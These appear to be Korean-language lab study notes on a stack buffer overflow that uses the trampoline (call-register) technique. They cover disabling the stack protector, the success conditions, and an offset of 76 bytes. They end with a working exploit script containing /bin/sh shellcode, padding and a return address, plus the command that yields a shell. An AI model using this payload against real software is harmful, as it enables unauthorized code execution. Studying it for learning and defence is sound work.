쉘 코드 실행 및 제어 권한 획득
gcc -fno-stack-protector -z execstack -o
: -fno-stack-protector = 스택 오버플로우를 감지하는 스택 쿠키 배치 및 검증 코드를 제거
: execstack -o = 스택 메모리에서의 코드 실행 권한 추가
열쇠없이 금고를 열때 유리막을 건들면 깨지게 설계하듯이 코딩 설계할때도 이와같이 구조를 확인할 수 없게하는 장치
리턴 주소를 조작한 쉘코드 실행 방법 2가지
1. 분기할 곳을 직접 지정하는 "직접 주소 참조 방식"
2. 레지스터를 이용하여 함수(루틴)을 실행하는 코드를 이용한 간접 참조 방식
Trampoline Technique
가상 주소 공간에 있는 스택 메모리의 주소가 무작위한 특성으로 인해 "직접 주소 참조" 방식 공격의 제한을 극복하기 위해 고안된 실행흐름 조작 기법.
Return 주소를 "CALL 레지스터" 패턴의 코드가 존재하는 주소로 조작하여, 해당 레지스터가 참조하는 스택 공간의 코드를 실행 하도록 하는 방식.
성공조건 1. 공격자가 Return Address 조작을 통해 실행의 흐름을 조작할 수 있어야 한다.
성공조건 2. RETN 코드가 실행될 당시 공격자가 조작한 스택 영역을 레지스터가 가리키고 있어야 한다.
성공조건 3. 공격자가 조작한 스택 영역을 가리키는 레지스터를 이용하여 분기하는 코드가 존재해야 한다.
성공조건 4. CALL REGISTER 코드의 주소가 고정적이어야 한다.
과정1. 주입지점으로부터 Return Address 위치까지의 옵셋(거리) 확인
76바이트 후 리턴 어드레스
EDX, EAX가 지역변수 시작지점에 위치
080484a3 코드가 edx 레지스터를 call 하므로,
어딘가에 있는데 이곳에 쉘코드를 넣고 더미데이터를 넣고 080484a3으로 리턴 시키는게 목적
익스플로잇 스크립트 작성
bof1.py
shellcode= ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80")
ret = "\xa3\x84\x04\x08"
evil = shellcode + '\x90' * (76-len(shellcode)) + ret
print evil
$./test $(python bof1.py) #공격
$ <- 쉘 프롬프트 획득